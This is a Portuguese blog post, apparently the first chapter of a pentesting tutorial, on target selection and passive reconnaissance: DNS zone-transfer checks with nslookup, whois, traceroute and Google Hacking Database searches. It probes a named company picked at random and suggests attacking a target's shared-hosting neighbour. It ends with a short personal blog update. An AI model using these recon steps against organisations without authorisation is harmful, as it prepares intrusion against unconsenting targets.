Vou tentar pelo menos criar 2 capítulos por semana, conforme o tempo disponível e a vontade de escrever, que não será grandes problemas visto que adoro escrever.

Boa leitura e espero que assimilem alguma informação nas seguintes frases.

Vamos lá então:

É legal, que te paguem por romper cristais é melhor a que te paguem por regulá-los. Esta é uma piada (portuguesa) que fiz mil vezes porque realmente o sinto assim. Os testes de Intrusão ou teste de penetração (pentests) são divertidos, muito divertidos diria eu. Neste artigo queria falar-vos dos passos para levar a cabo um teste de penetração em uma empresa. Mesmo que a grandes rasgos os testes de penetração são todos similares é certo que cada um tem sua arte e seu ponto forte.

Auditoria de BlackBox:

Os testes de penetração não chegam em ser uma auditoria já que estas devem ser exaustivas em extensão e profundidade, isto é, devem avaliar todos os riscos, todos os “caminhos” e avaliar o nível de cada um deles. Um pentest é encontrar um caminho para resolver o sudoku. O certo é que quando se realiza um teste de intrusão no final sai quase tudo, incluído, o que é mais importante, as más práticas de configuração, implementação ou desenvolvimento, mas é preciso deixar clara a diferença entre uma auditoria e um teste de intrusão.

Quando se realiza uma auditoria de segurança estas serão diferentes se realizam desde dentro da rede com uma conta pouco privilegiada, desde Internet sem nenhuma credencial ou desde dentro com os privilégios do próprio administrador. Se devem realizar todas, não é que uma seja melhor que outra, todas se complementam e dão diferente informação. As que se realizam desde fora e sem nenhuma credencial se chamam auditorias de BlackBox, enquanto as que as que se realizam desde dentro se chamam auditorias de WhiteBox.

Poderíamos dizer que um teste de intrusão é uma auditoria de BlackBox e a diferença será se se buscam todos os caminhos ou só se procura justificar a necessidade de uma auditoria de segurança em profundidade. Sim, mesmo que pareça estranho em muitas companhias a dia de hoje ainda é preciso justificar a necessidade de uma auditoria de segurança. Porque… a quem lhe importa se amanhã no Site põem um graffiti ou se os dados do banco de dados foram mudados parcialmente durante os últimos três meses e não podemos recuperar nenhuma cópia de bases de dados porque não temos garantia que nenhuma seja confiável?

Começa a festa:

Em primeiro lugar você deve escolher o ponto de execução do teste, como já vimos antes, talvez queremos realizar uma auditoria simulando que somos um usuário externo ou talvez, pensemos que o inimigo é um cliente remoto ou possa ser um trabalhador interno. Quem sabe? Ou não? Escolhemos o ponto de execução e começa a campanha. Para isso começamos pela fases de “combate”.

Eleição de objectivos:

É preciso buscar onde pode haver uma porta para entrar dentro e fazer…¡já se verá! Ainda é em breve, não nos pomos objectivos, se vai conquistando pouco a pouco o inimigo. Para isso vamos analisar os activos da empresa expostos a nosso ponto de execução. Isto é, desde onde estamos que serviços e/ou servidores estão em nossa linha de tiro. Servidores site, servidores de conexões VPN, o servidor de correio, de arquivos, de dns, etc…. Inventariamos os activos a testar e começamos a segunda fase.

Recolha de Informação:

Que nos interessa? TUDO. Toda informação que se possa conseguir é útil, sinto dizer isto mas até a informação sobre as pessoas que operam e ou trabalham na empresa directa ou indirectamente com os sistemas é útil. Para isso realizamos duas batidas de recolhida de informação diferentes utilizando duas filosofias diferentes. Em primeiro lugar vamos apanhar toda a informação que seja pública da empresa e dos objectivos. É pública, por tanto a recolhemos e aprendamos tudo o que possamos deles. As ferramentas que utilizamos são ferramentas de Footprinting ou de seguimento ou rastros de pegadas.

Footprinting:

As ferramentas que vamos utilizar são simples públicas e “legais” isto é, ainda não necessitaríamos um documento de Exoneração de Responsabilidades que nos autorize a realizar o teste, com o que se quer testar você pode fazê-lo com quem você deseje só por praticar.

Para conhecer a informação da empresa começamos por consultar o servidor DNS para ver que servidores têm registados com que serviços. Normalmente vamos tirar as Direcções de IP dos servidores DNS, dos servidores Web, dos servidores de correio e … tudo o que se possa. Para fazer esta parte eu uso o próprio Nslookup que vem no sistema e com simples comandos podemos tirar toda esta informação.

Nslookup:

Quando entramos no interface de comandos de nslookup estamos realizando consultas directamente contra o servidor de DNS que temos configurado em nossa máquina, por tanto primeiro é averiguar qual é o servidor de dns de nosso objectivo e perguntar-lhe a ele. Para isso escolhemos o tipo de registo que queremos consultar com o comando set type. Para tirar os servidores dns: set type=ns; Para os hosts: set type=a; para os redireccionadores de correio: set type=mx, etc….

Uma vez eleito o tipo se realiza a petição de resolução com o domínio que se quer consultar e nos devolve as Direcções de IP dos servidores DNS primário e secundário. Por tanto quando saibamos quais são, configuramos a esses servidores como os receptores de nossas consultas com o comando: Server IP e uma vez que estejamos ali tiramos toda a informação pública que tenhamos. Se o DNS está logo que configurado nos permitirá duas coisas que nunca se devem permitir, a transferência de zonas e a lista de todos os registos. Para isso basta conectar-se ao servidor de dns e desde o nslookup e realizar um simples teste com o comando ls nome_de_domínio. Se cola, nos retornará toda a informação da zona na tela. E perguntando ao registo SOA da Zona DNS poderemos saber qual é o correio do responsável do dns e o mais provável webmaster.

Da informação que extraiamos daqui poderemos saber coisas como se os servidores estão em hosting, housing ou os tem a companhia, se têm serviços de apoio externos, se o administrador é cuidadoso e detalhista ou não. Pensem que o processo de ataque pode depender destes pequenos você detalhes. Imaginemos um serviço Web de uma empresa que está em hosting, se compramos um domino no mesmo fornecedor teremos acesso ao mesmo servidor de nosso objectivo quase mais de 100 perus ao ano e atacar a um companheiro de hosting oferece a possibilidade de um novo caminho digno de explorar.

Neste exemplo, com uma empresa escolhida ao acaso, o tugamania.com por exemplo, veremos o que ele nos mostra em suas propriedades, se pode fazer “ls” do domínio que permite ver a lista de todos os servidores, e o IP interno de um servidor muito, muito significativo, que se chama bd (Banco de Dados?) com um direccionamentos 192.168.1.1. Curioso.

Traçar e Posicionar:

Uma vez que se têm os objectivos iniciais marcados com direcções IPS o seguinte é situá-los na rede e geograficamente, pode dar-nos alguma informação curiosa. Ferramentas como tracert ou o Visualroute nos vão permitir averiguar qual é a localização física e quem são os seus provedores de acesso a Internet.

Baixar em http://visualroute.visualware.com

Nele visualizamos as redes que lhe conectam, neste caso podemos ver quem é seu fornecedor de serviços de Internet.

Whois:

Quando uma empresa regista um domínio na Internet deve encher uma série de dados no registador que devem estar em uma base de dados de informação que se chama Whois. A informação que se regista neste banco de dados pode proteger-se parcialmente configurando-se no registo, mas por defeito toda ela é pública. Cada registador oferece ferramentas de acesso ao banco de dados whois para que qualquer possa consultá-la.

Whois online em http://samspade.org/

Baixar em http://www.webmasterfree.com/samspade.html

Spiders (aranhas de Internet):

Usem a informação que os spiders já recolheram e aprende a tirar-lhe partido às bases de dados sobre as lugares que têm nossos amigos os buscadores. Existe um banco de dados que se chama Google Hacking Database (GHD) que tem catalogadas em diferentes categorias correntes de busca para usar-se no google para tirar informação para hacking de empresas através das bases de dados do buscador google. Há uma secção que me encanta se chama “Passwords” e a explicação que dão no próprio banco de dados sobre essa categoria é: “FOR THE LOVE OF GOD, GOOGLE FINDS PASSWORDS”. Aprende a fuçar (termo vosso) no google/msn search para seguirem os rastros da empresa e dos administradores, te surpreenderá o que pode fazer um administrador de uma empresa com seus correios corporativos.

Acessar em http://johnny.ihackstuff.com

Fim do primeiro Capitulo...

Autor: placker

voltando a postar,

2010-04-10T10:53:00.000-07:00

Pois é, agora de fato, depois de muitas coisas, consegui por minha cabeça de novo no lugar, vou voltar a postar, sei que nao faz muita diferença, sei que quase ninguem visita meu blog, maas, e dai, vou voltar a postar mesmo assim (:

è claro, ainda sem tempo de escrever e/ou estudar para os assuntos debatidos, estou buscando por atualidades e tudo mais em outras fontes, sim é simbolico, mas é de coração.

Fiquem na paz ae ;*
um abraçao,

f0nt_Drk [s]